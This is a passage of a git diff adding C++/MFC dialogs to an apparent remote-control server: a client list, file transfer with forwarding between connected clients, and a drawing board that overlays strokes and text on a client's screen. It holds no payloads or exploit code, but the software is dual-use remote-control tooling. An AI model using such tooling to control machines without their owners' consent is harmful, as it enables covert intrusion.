if (cmp != 0) return cmp < 0;
|
||||
}
|
||||
return Values.size() < other.Values.size();
|
||||
}
|
||||
};
|
||||
|
||||
// 分组信息
|
||||
struct GroupInfo {
|
||||
int GroupId;
|
||||
BOOL bExpanded;
|
||||
std::vector<std::pair<ClientKey, ClientValue>> Clients;
|
||||
};
|
||||
|
||||
// CClientListDlg 对话框
|
||||
|
||||
class CClientListDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CClientListDlg)
|
||||
|
||||
public:
|
||||
CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr);
|
||||
virtual ~CClientListDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_CLIENTLIST };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
_ClientList* g_ClientList;
|
||||
CMy2015RemoteDlg* g_pParent;
|
||||
std::vector<std::pair<ClientKey, ClientValue>> m_clients; // 数据副本
|
||||
std::map<GroupKey, GroupInfo> m_groups; // 分组数据
|
||||
int m_nSortColumn; // 当前排序列
|
||||
BOOL m_bSortAscending; // 是否升序
|
||||
CToolTipCtrl m_ToolTip;
|
||||
int m_nTipItem; // 当前提示的行
|
||||
int m_nTipSubItem; // 当前提示的列
|
||||
|
||||
void BuildGroups(); // 构建分组数据
|
||||
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrlEx m_ClientList;
|
||||
virtual BOOL OnInitDialog();
|
||||
void RefreshClientList();
|
||||
void DisplayClients();
|
||||
void AdjustColumnWidths();
|
||||
void SortByColumn(int nColumn, BOOL bAscending);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
virtual void OnCancel();
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnOK();
|
||||
};
|
||||
251
server/2015Remote/CDlgFileSend.cpp
Normal file
251
server/2015Remote/CDlgFileSend.cpp
Normal file
@@ -0,0 +1,251 @@
|
||||
// CDlgFileSend.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CDlgFileSend.h"
|
||||
#include "2015RemoteDlg.h" // For g_2015RemoteDlg->FindHost()
|
||||
|
||||
|
||||
// CDlgFileSend 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CDlgFileSend, CDialog)
|
||||
|
||||
CDlgFileSend::CDlgFileSend(CMy2015RemoteDlg* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject, BOOL sendFile)
|
||||
: DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile)
|
||||
{
|
||||
m_pParent = (CMy2015RemoteDlg*)pParent;
|
||||
}
|
||||
|
||||
CDlgFileSend::~CDlgFileSend()
|
||||
{
|
||||
}
|
||||
|
||||
void CDlgFileSend::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_TIMER()
|
||||
ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress)
|
||||
ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CDlgFileSend 消息处理程序
|
||||
std::string GetPwdHash();
|
||||
std::string GetHMAC(int offset);
|
||||
|
||||
void RecvData(void* ptr)
|
||||
{
|
||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||
}
|
||||
|
||||
void CDlgFileSend::OnReceiveComplete(void)
|
||||
{
|
||||
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
|
||||
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||
if (len == 0) return;
|
||||
|
||||
BYTE cmd = szBuffer[0];
|
||||
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||
|
||||
// V2 文件完成校验包
|
||||
if (cmd == COMMAND_FILE_COMPLETE_V2) {
|
||||
if (len < sizeof(FileCompletePacketV2)) {
|
||||
Mprintf("[FileSend] FILE_COMPLETE_V2 包太短: %u < %zu\n", len, sizeof(FileCompletePacketV2));
|
||||
return;
|
||||
}
|
||||
FileCompletePacketV2* completePkt = (FileCompletePacketV2*)szBuffer;
|
||||
|
||||
// C2C 包:转发到目标客户端
|
||||
if (completePkt->dstClientID != 0) {
|
||||
context* dstCtx = m_pParent->FindHost(completePkt->dstClientID);
|
||||
if (dstCtx) {
|
||||
dstCtx->Send2Client(szBuffer, len);
|
||||
Mprintf("[C2C] 转发校验包 -> 客户端 %llu\n", completePkt->dstClientID);
|
||||
} else {
|
||||
Mprintf("[C2C] 转发校验包失败: 目标客户端 %llu 不存在\n", completePkt->dstClientID);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// 目标是服务端,本地校验
|
||||
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
|
||||
Mprintf("[FileSend] 文件校验%s\n", verifyOk ? "通过" : "失败");
|
||||
return;
|
||||
}
|
||||
|
||||
if (cmd == COMMAND_SEND_FILE_V2) {
|
||||
// V2 协议
|
||||
FileChunkPacketV2* chunk = (FileChunkPacketV2*)szBuffer;
|
||||
|
||||
// C2C 包:转发到目标客户端,同时更新进度
|
||||
if (chunk->dstClientID != 0) {
|
||||
// 如果已标记目标离线,直接忽略后续数据
|
||||
if (m_bTargetOffline) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 转发到目标客户端
|
||||
context* dstCtx = m_pParent->FindHost(chunk->dstClientID);
|
||||
if (dstCtx) {
|
||||
dstCtx->Send2Client(szBuffer, len);
|
||||
double percent = chunk->fileSize ? 100.0 * (chunk->offset + chunk->dataLength) / chunk->fileSize : 100.0;
|
||||
Mprintf("[C2C] 转发 %d/%d: %.1f%% (%llu/%llu)\n",
|
||||
1 + chunk->fileIndex, chunk->totalFiles, percent,
|
||||
chunk->offset + chunk->dataLength, chunk->fileSize);
|
||||
} else {
|
||||
Mprintf("[C2C] CDlgFileSend 转发失败: 目标客户端 %llu 不存在,发送取消包\n", chunk->dstClientID);
|
||||
m_bTargetOffline = TRUE;
|
||||
|
||||
// 发送取消包给发送方
|
||||
FileResumePacketV2 cancelPkt = {};
|
||||
cancelPkt.cmd = COMMAND_FILE_RESUME;
|
||||
cancelPkt.transferID = chunk->transferID;
|
||||
cancelPkt.srcClientID = 0; // 来自服务端
|
||||
cancelPkt.dstClientID = chunk->srcClientID; // 回复给发送方
|
||||
cancelPkt.fileIndex = chunk->fileIndex;
|
||||
cancelPkt.fileSize = chunk->fileSize;
|
||||
cancelPkt.receivedBytes = chunk->offset;
|
||||
cancelPkt.flags = FFV2_CANCEL;
|
||||
cancelPkt.rangeCount = 0;
|
||||
m_ContextObject->Send2Client((LPBYTE)&cancelPkt, sizeof(cancelPkt));
|
||||
|
||||
// 关闭此连接
|
||||
FinishFileSend(FALSE);
|
||||
return;
|
||||
}
|
||||
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
|
||||
UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));
|
||||
return;
|
||||
}
|
||||
|
||||
// 目标是服务端,本地接收
|
||||
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
|
||||
if (n) {
|
||||
Mprintf("RecvFileChunkV2 failed: %d\n", n);
|
||||
}
|
||||
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
|
||||
UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));
|
||||
} else {
|
||||
// V1 协议
|
||||
CONNECT_ADDRESS addr = { 0 };
|
||||
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
|
||||
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
|
||||
if (n) {
|
||||
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
|
||||
}
|
||||
FileChunkPacket* chunk = (FileChunkPacket*)szBuffer;
|
||||
BYTE* name = szBuffer + sizeof(FileChunkPacket);
|
||||
UpdateProgress(CString((char*)name, chunk->nameLength), FileProgressInfo(chunk));
|
||||
}
|
||||
}
|
||||
|
||||
void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
|
||||
{
|
||||
if (!GetSafeHwnd()) return;
|
||||
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
|
||||
}
|
||||
|
||||
void CDlgFileSend::FinishFileSend(BOOL succeed)
|
||||
{
|
||||
if (!GetSafeHwnd()) return;
|
||||
PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed);
|
||||
}
|
||||
|
||||
LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CString* pFile = (CString*)wParam;
|
||||
FileProgressInfo* pInfo = (FileProgressInfo*)lParam;
|
||||
|
||||
CString status;
|
||||
double percent = pInfo->fileSize ? (pInfo->offset + pInfo->dataLength) * 100. / pInfo->fileSize : 100.;
|
||||
m_bIsSending ?
|
||||
status.FormatL("发送文件(%d/%d): %.2f%%", 1 + pInfo->fileIndex, pInfo->totalFiles, percent):
|
||||
status.FormatL("接收文件(%d/%d): %.2f%%", 1 + pInfo->fileIndex, pInfo->totalFiles, percent);
|
||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
|
||||
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
|
||||
m_Progress.SetPos((int)percent);
|
||||
|
||||
// 只在第一次显示时置顶,后续更新不抢焦点
|
||||
if (!IsWindowVisible()) {
|
||||
ShowWindow(SW_SHOW);
|
||||
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
}
|
||||
|
||||
// 只有最后一个文件完成时才设置自动关闭定时器
|
||||
// 避免多文件传输时第一个文件完成后就关闭对话框
|
||||
bool isLastFile = (pInfo->fileIndex + 1 >= pInfo->totalFiles);
|
||||
if (percent >= 100. && isLastFile) {
|
||||
SetTimer(1, 3000, NULL);
|
||||
} else {
|
||||
// 传输新文件时取消之前的定时器
|
||||
KillTimer(1);
|
||||
}
|
||||
|
||||
delete pInfo;
|
||||
delete pFile;
|
||||
return 0;
|
||||
}
|
||||
|
||||
LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
BOOL success = (BOOL)lParam;
|
||||
m_bIsSending ?
|
||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, success ? _TR("文件发送完成") : _TR("文件发送失败")):
|
||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, success ? _TR("文件接收完成") : _TR("文件接收失败"));
|
||||
if (success)
|
||||
m_Progress.SetPos(100);
|
||||
|
||||
// 完成后取消置顶,恢复普通窗口
|
||||
SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
ShowWindow(SW_SHOW);
|
||||
SetTimer(1, 3000, NULL); // 3秒后自动关闭
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CDlgFileSend::OnInitDialog()
|
||||
{
|
||||
DialogBase::OnInitDialog();
|
||||
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, _TR("发送文件(999/999):"));
|
||||
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
SetWindowText(m_bIsSending ? _TR("发送文件") : _TR("接收文件"));
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != nullptr) {
|
||||
pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CDlgFileSend::OnClose()
|
||||
{
|
||||
// V2传输使用主连接,关闭对话框时不应断开连接
|
||||
if (!m_bKeepConnection) {
|
||||
CancelIO();
|
||||
}
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CDlgFileSend::OnTimer(UINT_PTR nIDEvent)
|
||||
{
|
||||
if (nIDEvent == 1) {
|
||||
KillTimer(1);
|
||||
PostMessageA(WM_CLOSE, 0, 0);
|
||||
}
|
||||
}
|
||||
67
server/2015Remote/CDlgFileSend.h
Normal file
67
server/2015Remote/CDlgFileSend.h
Normal file
@@ -0,0 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <resource.h>
|
||||
#include"file_upload.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
#define WM_UPDATEFILEPROGRESS (WM_USER + 0x100)
|
||||
#define WM_FINISHFILESEND (WM_USER + 0x101)
|
||||
|
||||
// 协议无关的进度信息结构(支持 V1 和 V2)
|
||||
struct FileProgressInfo {
|
||||
uint32_t fileIndex;
|
||||
uint32_t totalFiles;
|
||||
uint64_t fileSize;
|
||||
uint64_t offset;
|
||||
uint64_t dataLength;
|
||||
uint64_t nameLength;
|
||||
|
||||
// 从 V1 包构造
|
||||
FileProgressInfo(const FileChunkPacket* pkt) :
|
||||
fileIndex(pkt->fileIndex), totalFiles(pkt->totalNum),
|
||||
fileSize(pkt->fileSize), offset(pkt->offset),
|
||||
dataLength(pkt->dataLength), nameLength(pkt->nameLength) {}
|
||||
|
||||
// 从 V2 包构造
|
||||
FileProgressInfo(const FileChunkPacketV2* pkt) :
|
||||
fileIndex(pkt->fileIndex), totalFiles(pkt->totalFiles),
|
||||
fileSize(pkt->fileSize), offset(pkt->offset),
|
||||
dataLength(pkt->dataLength), nameLength(pkt->nameLength) {}
|
||||
};
|
||||
|
||||
// CDlgFileSend 对话框
|
||||
|
||||
class CDlgFileSend : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CDlgFileSend)
|
||||
CMy2015RemoteDlg* m_pParent = nullptr;
|
||||
|
||||
public:
|
||||
CDlgFileSend(CMy2015RemoteDlg* pParent = NULL, Server* IOCPServer = NULL,
|
||||
CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE);
|
||||
virtual ~CDlgFileSend();
|
||||
void OnReceiveComplete(void);
|
||||
void UpdateProgress(CString file, const FileProgressInfo& info);
|
||||
void FinishFileSend(BOOL succeed);
|
||||
|
||||
BOOL m_bIsSending;
|
||||
BOOL m_bKeepConnection = FALSE; // V2传输完成后不断开主连接
|
||||
BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包
|
||||
enum { IDD = IDD_DIALOG_FILESEND };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
public:
|
||||
CProgressCtrl m_Progress;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
};
|
||||
335
server/2015Remote/CDrawingBoard.cpp
Normal file
335
server/2015Remote/CDrawingBoard.cpp
Normal file
@@ -0,0 +1,335 @@
|
||||
#include "stdafx.h"
|
||||
#include "CDrawingBoard.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "Resource.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog)
|
||||
|
||||
CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING),
|
||||
m_bDrawing(false)
|
||||
{
|
||||
m_bTopMost = true;
|
||||
m_bTransport = true;
|
||||
m_bMoving = false;
|
||||
m_bSizing = false;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
|
||||
CDrawingBoard::~CDrawingBoard()
|
||||
{
|
||||
if (m_pInputEdit != nullptr) {
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
if (m_font.GetSafeHandle())
|
||||
m_font.DeleteObject();
|
||||
if (m_pen.GetSafeHandle())
|
||||
m_pen.DeleteObject();
|
||||
}
|
||||
|
||||
void CDrawingBoard::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_LBUTTONDOWN()
|
||||
ON_WM_MOUSEMOVE()
|
||||
ON_WM_LBUTTONUP()
|
||||
ON_WM_WINDOWPOSCHANGED()
|
||||
ON_WM_RBUTTONDOWN()
|
||||
ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost)
|
||||
ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport)
|
||||
ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove)
|
||||
ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize)
|
||||
ON_COMMAND(IDM_CLEAR_DRAWING, &CDrawingBoard::OnDrawingClear)
|
||||
ON_COMMAND(ID_DRAWING_TEXT, &CDrawingBoard::OnDrawingText)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CDrawingBoard::OnReceiveComplete()
|
||||
{
|
||||
// 接收时处理逻辑(暂空)
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this);
|
||||
|
||||
CPen* pOldPen = dc.SelectObject(&m_pen);
|
||||
|
||||
for (const auto& path : m_paths) {
|
||||
if (path.size() < 2) continue;
|
||||
|
||||
dc.MoveTo(path[0]);
|
||||
for (size_t i = 1; i < path.size(); ++i)
|
||||
dc.LineTo(path[i]);
|
||||
}
|
||||
|
||||
if (m_bDrawing && m_currentPath.size() >= 2) {
|
||||
dc.MoveTo(m_currentPath[0]);
|
||||
for (size_t i = 1; i < m_currentPath.size(); ++i)
|
||||
dc.LineTo(m_currentPath[i]);
|
||||
}
|
||||
|
||||
CFont* pOldFont = dc.SelectObject(&m_font);
|
||||
dc.SetTextColor(RGB(0, 0, 0));
|
||||
dc.SetBkMode(TRANSPARENT);
|
||||
|
||||
for (const auto& entry : m_Texts)
|
||||
dc.TextOut(entry.first.x, entry.first.y, entry.second);
|
||||
|
||||
dc.SelectObject(pOldFont);
|
||||
|
||||
dc.SelectObject(pOldPen);
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point)
|
||||
{
|
||||
m_bDrawing = true;
|
||||
m_currentPath.clear();
|
||||
m_currentPath.push_back(point);
|
||||
|
||||
SetCapture();
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (m_bDrawing) {
|
||||
m_currentPath.push_back(point);
|
||||
Invalidate(FALSE);
|
||||
|
||||
// 发送当前点
|
||||
BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT };
|
||||
memcpy(pkg + 1, &point, sizeof(POINT));
|
||||
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
|
||||
}
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (m_bDrawing) {
|
||||
m_bDrawing = false;
|
||||
m_currentPath.push_back(point);
|
||||
ReleaseCapture();
|
||||
|
||||
m_paths.push_back(m_currentPath);
|
||||
Invalidate();
|
||||
|
||||
// 发送结束命令,表示当前路径完成
|
||||
BYTE endCmd = CMD_DRAW_END;
|
||||
m_ContextObject->Send2Client(&endCmd, 1);
|
||||
}
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos)
|
||||
{
|
||||
__super::OnWindowPosChanged(lpwndpos);
|
||||
if (!m_bMoving) return;
|
||||
|
||||
CRect rect;
|
||||
GetWindowRect(&rect); // 获取当前窗口屏幕位置
|
||||
BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW };
|
||||
if (!m_bSizing) {
|
||||
rect.right = rect.left;
|
||||
rect.bottom = rect.top;
|
||||
}
|
||||
memcpy(pkg + 1, &rect, sizeof(CRect));
|
||||
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
if (!m_bSizing) return;
|
||||
|
||||
// 发送新的窗口尺寸到客户端
|
||||
int sizeData[2] = { cx, cy };
|
||||
BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE };
|
||||
memcpy(pkg + 1, &sizeData, sizeof(sizeData));
|
||||
m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg));
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnDrawingTopmost()
|
||||
{
|
||||
m_bTopMost = !m_bTopMost;
|
||||
BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingTransport()
|
||||
{
|
||||
m_bTransport = !m_bTransport;
|
||||
BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport ? 150 : 255 };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingMove()
|
||||
{
|
||||
m_bMoving = !m_bMoving;
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingSize()
|
||||
{
|
||||
m_bSizing = !m_bSizing;
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd);
|
||||
}
|
||||
|
||||
|
||||
BOOL CDrawingBoard::OnInitDialog()
|
||||
{
|
||||
DialogBase::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
CString str;
|
||||
str.FormatL("%s - 画板演示", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
m_font.CreateFont(
|
||||
20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
|
||||
m_pen.CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED);
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingClear()
|
||||
{
|
||||
m_paths.clear();
|
||||
m_currentPath.clear();
|
||||
m_Texts.clear();
|
||||
BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
::InvalidateRect(m_hWnd, NULL, TRUE); // 重绘整个窗口,清除痕迹
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnRButtonDown(UINT nFlags, CPoint point)
|
||||
{
|
||||
m_RightClickPos = point; // 记录鼠标点
|
||||
ClientToScreen(&m_RightClickPos); // 变为屏幕坐标
|
||||
|
||||
CMenu menu;
|
||||
menu.LoadMenu(IDR_MENU_POPUP);
|
||||
TranslateMenu(&menu);
|
||||
CMenu* pSubMenu = menu.GetSubMenu(0);
|
||||
|
||||
if (pSubMenu)
|
||||
pSubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, m_RightClickPos.x, m_RightClickPos.y, this);
|
||||
|
||||
__super::OnRButtonDown(nFlags, point);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingText()
|
||||
{
|
||||
if (m_pInputEdit != nullptr) {
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
|
||||
CPoint ptClient = m_RightClickPos;
|
||||
ScreenToClient(&ptClient);
|
||||
|
||||
m_pInputEdit = new CEdit();
|
||||
m_pInputEdit->Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
|
||||
CRect(ptClient.x, ptClient.y, ptClient.x + 200, ptClient.y + 25),
|
||||
this, 1234); // 控件 ID 可自定
|
||||
m_pInputEdit->SetFocus();
|
||||
}
|
||||
|
||||
BOOL CDrawingBoard::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (m_pInputEdit && pMsg->hwnd == m_pInputEdit->m_hWnd) {
|
||||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) {
|
||||
CString strText;
|
||||
m_pInputEdit->GetWindowText(strText);
|
||||
|
||||
// TODO: 将文字位置和内容加入列表并触发绘图
|
||||
if (!strText.IsEmpty()) {
|
||||
CPoint ptClient = m_RightClickPos;
|
||||
ScreenToClient(&ptClient);
|
||||
m_Texts.push_back(std::make_pair(ptClient, strText));
|
||||
SendTextsToRemote(ptClient, strText);
|
||||
}
|
||||
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
|
||||
return TRUE; // 吞掉回车
|
||||
}
|
||||
}
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CDrawingBoard::SendTextsToRemote(const CPoint& pt, const CString& text)
|
||||
{
|
||||
if (text.IsEmpty()) return;
|
||||
|
||||
// 1. 转换为 UTF-8
|
||||
// CString 是 TCHAR 类型,若项目是多字节字符集,则需先转为宽字符
|
||||
#ifdef _UNICODE
|
||||
LPCWSTR lpWideStr = text;
|
||||
#else
|
||||
// 从 ANSI 转为宽字符
|
||||
int wideLen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_ACP, 0, text, -1, &wideStr[0], wideLen);
|
||||
LPCWSTR lpWideStr = wideStr.c_str();
|
||||
#endif
|
||||
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 1) return; // 空或失败
|
||||
|
||||
std::vector<char> utf8Text(utf8Len - 1); // 去掉末尾的 \0
|
||||
WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, utf8Text.data(), utf8Len - 1, NULL, NULL);
|
||||
|
||||
// 2. 构造发送 buffer
|
||||
std::vector<char> buffer;
|
||||
buffer.push_back(CMD_DRAW_TEXT); // 自定义命令码
|
||||
|
||||
buffer.insert(buffer.end(), (char*)&pt, (char*)&pt + sizeof(CPoint));
|
||||
buffer.insert(buffer.end(), utf8Text.begin(), utf8Text.end());
|
||||
|
||||
// 3. 发送
|
||||
m_ContextObject->Send2Client((LPBYTE)buffer.data(), (ULONG)buffer.size());
|
||||
}
|
||||
61
